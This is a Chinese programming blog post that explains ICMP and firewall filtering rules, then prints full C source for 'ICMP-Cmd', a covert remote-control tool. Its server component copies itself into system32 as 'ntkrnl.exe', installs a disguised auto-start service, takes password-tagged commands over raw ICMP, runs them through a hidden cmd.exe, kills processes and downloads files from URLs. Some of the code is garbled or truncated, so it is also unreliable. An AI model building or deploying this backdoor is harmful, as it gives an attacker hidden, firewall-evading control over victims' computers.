基于visual c++之windows核心编程代码分析（29）ICMP实现远程控制
ICMP是（Internet Control Message Protocol）Internet控制报文协议。它是TCP/IP协议族的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。
ICMP协议是一种面向无连接的协议，用于传输出错报告控制信息。它是一个非常重要的协议，它对于网络安全具有极其重要的意义。 它是TCP/IP协议族的一个子协议,属于网络层协议,主要用于在主机与路由器之间传递控制信息,包括报告错误、交换受限控制和状态信息等。当遇到IP数据无法访问目标、IP路由器无法按当前的传输速率转发数据包等情况时，会自动发送ICMP消息。 ICMP原理ICMP提供一致易懂的出错报告信息。发送的出错报文返回到发送原数据的设备，因为只有发送设备才是出错报文的逻辑接受者。发送设备随后可根据ICMP报文确定发生错误的类型，并确定如何才能更好地重发失败的数据包。但是ICMP唯一的功能是报告问题而不是纠正错误，纠正错误的任务由发送方完成。 我们在网络中经常会使用到ICMP协议，比如我们经常使用的用于检查网络通不通的Ping命令（Linux和Windows中均有），这个“Ping”的过程实际上就是ICMP协议工作的过程。还有其他的网络命令如跟踪路由的Tracert命令也是基于ICMP协议的。
ICMP的全称是 Internet Control Message Protocol 。从技术角度来说，ICMP就是一个“错误侦测与回报机制”，其目的就是让我们能够检测网路的连线状况﹐也能确保连线的准确性﹐其功能主要有： ·
侦测远端主机是否存在。
· 建立及维护路由资料。 ·
重导资料传送路径。
· 资料流量控制。I
ICMP在沟通之中，主要是透过不同的类别(Type)与代码(Code) 让机器来识别不同的连线状况。常用的类别如下表所列﹕ ICMP 是个非常有用的协议﹐尤其是当我们要对网路连接状况进行判断的时候。下面让我们看看常用的 ICMP 实例，以更好了解 ICMP 的功能与作用。
下面是针对每个ICMP消息类型的过滤规则的详细分析。Echo Request和Reply（类型8和0）： 允许Echo Request消息出站以便于内部用户能够PING一个远程主机。阻止入站Echo Request和出站Echo Reply可以防止外部网络的主机对内部网络进行扫描。如果您使用了位于外部网络的监视器来监视内部网络，就应该只允许来自于特定外部IP的Echo Request进入您的网络。限制ICMP Echo包的大小可以防止“Ping Floods”攻击，并且可以阻止那些利用Echo Request和Reply来“偷运”数据通过防火墙的木马程序。Destination unreachable （类型3）： 允许其入站以便于内部网用户可以使用traceroute。需要注意的是，有些攻击者可以使用它来进行针对会话的DoS攻击，如果您曾经历过类似的攻击，也可以阻止它。阻止出站的ICMP Destination unreachable消息，因为它可能会泄漏内部网络的结构。不过有一个例外，对于那些允许外部网络通过TCP访问的内部主机（如位于DMZ区的Web 服务器）发出的Destination unreachable，则应该允许它通过。为了能够支持“Path MTU Discovery”，您应该允许出站的“Packet Too Big”消息（类型3，代码4）到达那些主机。Source quench（类型4）： 阻止其入站，因为它可以作为一种DoS攻击，能够降低发送者的发送速度。允许其出站以便于内部主机能够控制发送端发送数据的速度。有些防火墙会忽略所有直接发送到防火墙端口的Source Quench消息，以防止针对于防火墙的DoS攻击。Redirect（类型5，9，10）： Redirect、Router announcement、 Router selection（类型5，9，10）：这些消息都存在潜在危险，因为它们可以用来把数据重定向到攻击者的机器。这些消息都应该被阻止。TTL exceeded（类型11）： 允许其进站以便于内部用户可以使用traceroute。“firewalking”使用很低的TTL值来对网络进行扫描，甚至可以通过防火墙对内网进行扫描，所以应该禁止其出站。一些防火墙可以阻止TTL值小于设定值的数据包进入防火墙。Parameter problem（类型12）： 禁止其入站和出站。通过使用一个能够进行数据包一致性检查的防火墙，错误和恶意的数据包都会被阻塞。
客户端实现如下
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")
char SendMsg[256];
/* The IP header */
typedef struct iphdr {
unsigned int h_len:4; //4位首部长度
unsigned int version:4; //IP版本号，4表示IPV4
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader;
typedef struct _ihdr
{
BYTE i_type;//8位类型
BYTE i_code; //8位代码
USHORT i_cksum;//16位校验和
USHORT i_id;//识别号（一般用进程号作为识别号）
USHORT i_seq;//报文序列号
ULONG timestamp;//时间截
} IcmpHeader;
#define STATUS_FAILED 0xFFFF
#define MAX_PACKET 2000
char arg[1450];
#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s))
void fill_icmp_data(char *, int);
USHORT checksum(USHORT *, int);
void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
void help(void);
void usage(char * prog);
int main(int argc, char *argv[])
{
char *ICMP_DEST_IP; //目标主机的IP
char *recvbuf;
if(argc!=2)
{
usage(argv[0]);
return 0;
}
ICMP_DEST_IP=argv[1];//取得目标主机IP
WSADATA wsaData;
SOCKET sockRaw;
struct sockaddr_in dest,from;
int datasize;
int fromlen=sizeof(from);
char *icmp_data;
if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
fprintf(stderr, "WSAStartup failed: %d\n", GetLastError());
ExitProcess(STATUS_FAILED);
}
sockRaw=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
int timeout=1000;
setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) &timeout, sizeof(timeout));
timeout=4000;
setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *) &timeout, sizeof(timeout));
memset(&dest,0,sizeof(dest));
dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP);
dest.sin_family=AF_INET;
usage(argv[0]);
__try{
for(;;){
printf("ICMP-CMD>");
fgets(SendMsg,1024,stdin);//取得命令行，保存在SendMsg数组中
if(!strcmp(SendMsg,"Q\n")||!strcmp(SendMsg,"q\n"))ExitProcess(0);
if(!strcmp(SendMsg,"\n"))continue;
if(!strcmp(SendMsg,"H\n")||!strcmp(SendMsg,"h\n")){help();continue;}
if(!memcmp(SendMsg,"http://",7))
if(!strstr(SendMsg,"-")){printf("\nFileName Error. Use \"-FileName\"\n");continue;}
datasize=strlen(SendMsg);
datasize+=sizeof(IcmpHeader);
printf("ICMP packet size is %d",datasize);
icmp_data= (char*)xmalloc(MAX_PACKET);
recvbuf= (char *)xmalloc(MAX_PACKET);
memset(icmp_data,0, MAX_PACKET);
fill_icmp_data(icmp_data, datasize);
((IcmpHeader *)icmp_data)->i_cksum=0;
((IcmpHeader *)icmp_data)->i_cksum=checksum((USHORT *)icmp_data, datasize);
int bwrote=sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr *) &dest, sizeof(dest));
if (bwrote == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());
}
if (bwrote= 1000) break;
memset(recvbuf,0,MAX_PACKET);
int bread=recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr *) &from, &fromlen);
if(bread == SOCKET_ERROR)
{
if(WSAGetLastError() == WSAETIMEDOUT)
{
printf("timed out\n");
break;
}
fprintf(stderr, "recvfrom failed: %d\n", WSAGetLastError());
break;
}
decode_resp(recvbuf, bread, &from);
}
}//end for
}//end try
__finally
{
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}
return 0;
}
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size > 1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size)
{
cksum+=*(UCHAR *)buffer;
}
cksum=(cksum >> 16) + (cksum & 0xffff);
cksum+=(cksum >> 16);
return(USHORT) (~cksum);
}
void fill_icmp_data(char *icmp_data, int datasize)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr= (IcmpHeader *)icmp_data;
icmp_hdr->i_type=0;
icmp_hdr->i_code=0;
icmp_hdr->i_id=(USHORT)GetCurrentProcessId();
icmp_hdr->timestamp =GetTickCount();
icmp_hdr->i_seq=1234;
datapart=icmp_data + sizeof(IcmpHeader);
memcpy(datapart,SendMsg,sizeof(SendMsg));
}
void usage(char * prog)
{
printf("\t\t=====Welcome to hackerxfiles-======\n");
printf("\n");
printf("\t\t---[ ICMP-Cmd v1.0 beta, by gxisone ]---\n");
printf("\t\t---[ E-mail: gxisone@hotmail.com ]---\n");
printf("\t\t---[ 2003/8/15 ]---\n");
printf("\t\tusage: %s RemoteIP\n",prog);
printf("\t\tCtrl+C or Q/q to Quite H/h for help\n");
}
void decode_resp(char *buf, int bytes,struct sockaddr_in *from)
{
memset(arg,0,sizeof(arg));
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf;
iphdrlen = iphdr->h_len * 4 ;
icmphdr = (IcmpHeader*)(buf + iphdrlen);
if(icmphdr->i_seq==4321)//密码正确则输出数据段
{
printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
printf(" IcmpType %d",icmphdr->i_type);
printf(" IcmpCode %d",icmphdr->i_code);
printf("\n");
memcpy(arg,buf+iphdrlen+12,1450);
printf("%s",arg);
}
else printf("Other ICMP Packets!\n");
}
void help(void)
{
printf("\n");
printf("[-admin.exe] (Download Files. Parth is \\system32)\n");
printf("[pslist] (List the Process)\n");
printf("[pskill ID] (Kill the Process)\n");
printf("Command (run the command)\n");
printf("\n");
}
服务端实现如下
#include
#include
#include
#include
#include "stdafx.h"
#pragma comment(lib, "Urlmon.lib")
#pragma comment(lib, "ws2_32.lib")
#define ICMP_PASSWORD 1234
#define STATUS_FAILED 0xFFFF
#define MAX_PACKET 6500
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
/* The IP header */
typedef struct iphdr {
unsigned int h_len:4; //4位首部长度
unsigned int version:4; //IP版本号，4表示IPV4
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader;
//定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号（一般用进程号作为识别号）
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}IcmpHeader;
char arg[256];
char buffer[2048] = {0};//管道输出的数据
void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
void fill_icmp_data(char * icmp_data);
void pslist(void);
BOOL killps(DWORD id);//杀进程函数
void send(void);
char *ICMP_DEST_IP;
USHORT checksum(USHORT *buffer, int size);
HANDLE hMutex;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
void WINAPI ICMP_CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
void InstallCmdService(void);
void RemoveCmdService(void);
void usage(char *par);
int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[]={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}};
if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
usage(argv[0]);
InstallCmdService();
}
else if(!stricmp(argv[1],"-remove"))
{
usage(argv[0]);
RemoveCmdService();
}
else usage(argv[0]);
return 0;
}
else usage(argv[0]);
StartServiceCtrlDispatcher(DispatchTable);
return 0;
}
void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;
ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}
return ;
}
void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}
return ;
}
DWORD WINAPI CmdService(LPVOID lpParam)//这里是服务的主函数，把你的代码写在这里就可以成为服务
{
char *icmp_data;
int bread,datasize,retval;
SOCKET sockRaw = (SOCKET)NULL;
WSADATA wsaData;
struct sockaddr_in dest,from;
int fromlen = sizeof(from);
int timeout = 2000;
char *recvbuf;
if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)
{
printf("WSAStartup failed: %s\n",retval);
ExitProcess(STATUS_FAILED);
}
sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);
if (sockRaw == INVALID_SOCKET)
{
printf("WSASocket() failed: %s\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
__try{
bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
if(bread == SOCKET_ERROR) __leave;
memset(&dest,0,sizeof(dest));
dest.sin_family = AF_INET;
datasize=0;
datasize += sizeof(IcmpHeader);
icmp_data =(char*)xmalloc(MAX_PACKET);
recvbuf = (char*)xmalloc(MAX_PACKET);
if (!icmp_data) {
//fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());
__leave;
}
memset(icmp_data,0,MAX_PACKET);
for(;;) {
int bwrote;
bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);
if (bread == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT)continue;
__leave;
}
decode_resp(recvbuf,bread,&from);
Sleep(200);
memset(recvbuf,0,sizeof(recvbuf));
}
}
__finally {
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}
return 0;
}
void InstallCmdService(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\ntkrnl.exe");
lpHostName=NULL;
printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}
printf("Creating Service .... ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service .... Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}
printf("Starting Service .... ");
if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
}
while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
void RemoveCmdService(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\ntkrnl.exe");
lpHostName=NULL;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is Denied !\n");
}
return ;
}
schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}
printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}
return ;
}
void decode_resp(char *buf, int bytes,struct sockaddr_in *from)
{
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf;
iphdrlen = iphdr->h_len * 4 ;
icmphdr = (IcmpHeader*)(buf + iphdrlen);
if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段
{
ICMP_DEST_IP=inet_ntoa(from->sin_addr);//取得ICMP包的源地址
memcpy(arg,buf+iphdrlen+12,256);
if (!memcmp(arg,"pskill",6))
{
killps(atoi(strstr(arg," ")));
memcpy(buffer,"Process is Killed!",sizeof("Process is Killed!"));
send();
}
else if (!memcmp(arg,"pslist",6)){pslist();send();}
else if (!strcmp(arg,"remove\n"))
{
RemoveCmdService();
memcpy(buffer,"Service Removed!",sizeof("Service Removed!"));
send();
return;
}
************ *************
else if (!memcmp(arg,"
{
if(char *FileName=strstr(arg,"-"))
{
char url[200];//保存网址的数组
memset(url,0,200);
memcpy(url,arg,int(FileName-arg-1));
char fname[MAX_PATH];
GetSystemDirectory(fname,MAX_PATH);
FileName++;
strcat(fname,"\");
strcat(fname,FileName);
*strstr(fname,"\n")=NULL;
HRESULT hRet=URLDownloadToFile(0,url,fname,0,0);
memset(buffer,0,sizeof(buffer));
if(hRet==S_OK) memcpy(buffer,"Download OK!\n",sizeof("Download OK\n"));
else
memcpy(buffer,"Download Failure!\n",sizeof("Download Failure!\n"));
send();
return;
}
}
//*******************************************
else{
SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf("Error On CreatePipe()");
return;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
char cmdline[270];
GetSystemDirectory(cmdline,MAX_PATH+1);
strcat(cmdline,"\cmd.exe /c");
strcat(cmdline,arg);
if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
printf("Error on CreateProcess()");
return;
}
CloseHandle(hWrite);
DWORD bytesRead;
for(;;){
if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break;
Sleep(200);
}
//printf("%s",buffer);
/
//发送输出数据
send();
}
}
//else printf("Other ICMP Packets!\n");
//printf(endl;
}
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void fill_icmp_data(char * icmp_data)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = 0;
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT) GetCurrentProcessId();
icmp_hdr->i_cksum = 0;
icmp_hdr->i_seq =4321;
icmp_hdr->timestamp = GetTickCount(); //设置时间戳
datapart = icmp_data + sizeof(IcmpHeader);
memcpy(datapart,buffer,strlen(buffer));
//for(int i=0;ii_cksum = checksum((USHORT*)icmp_data, datasize); //计算校验和
bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //发送报文
if (bwrote == SOCKET_ERROR)
{
//if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
//printf("sendto failed:"<
版权声明：本文内容由网络用户投稿，版权归原作者所有，本站不拥有其著作权，亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容，请联系我们jiasou666@gmail.com 处理，核实后本网站将在24小时内删除侵权内容。
暂时没有评论，来抢沙发吧~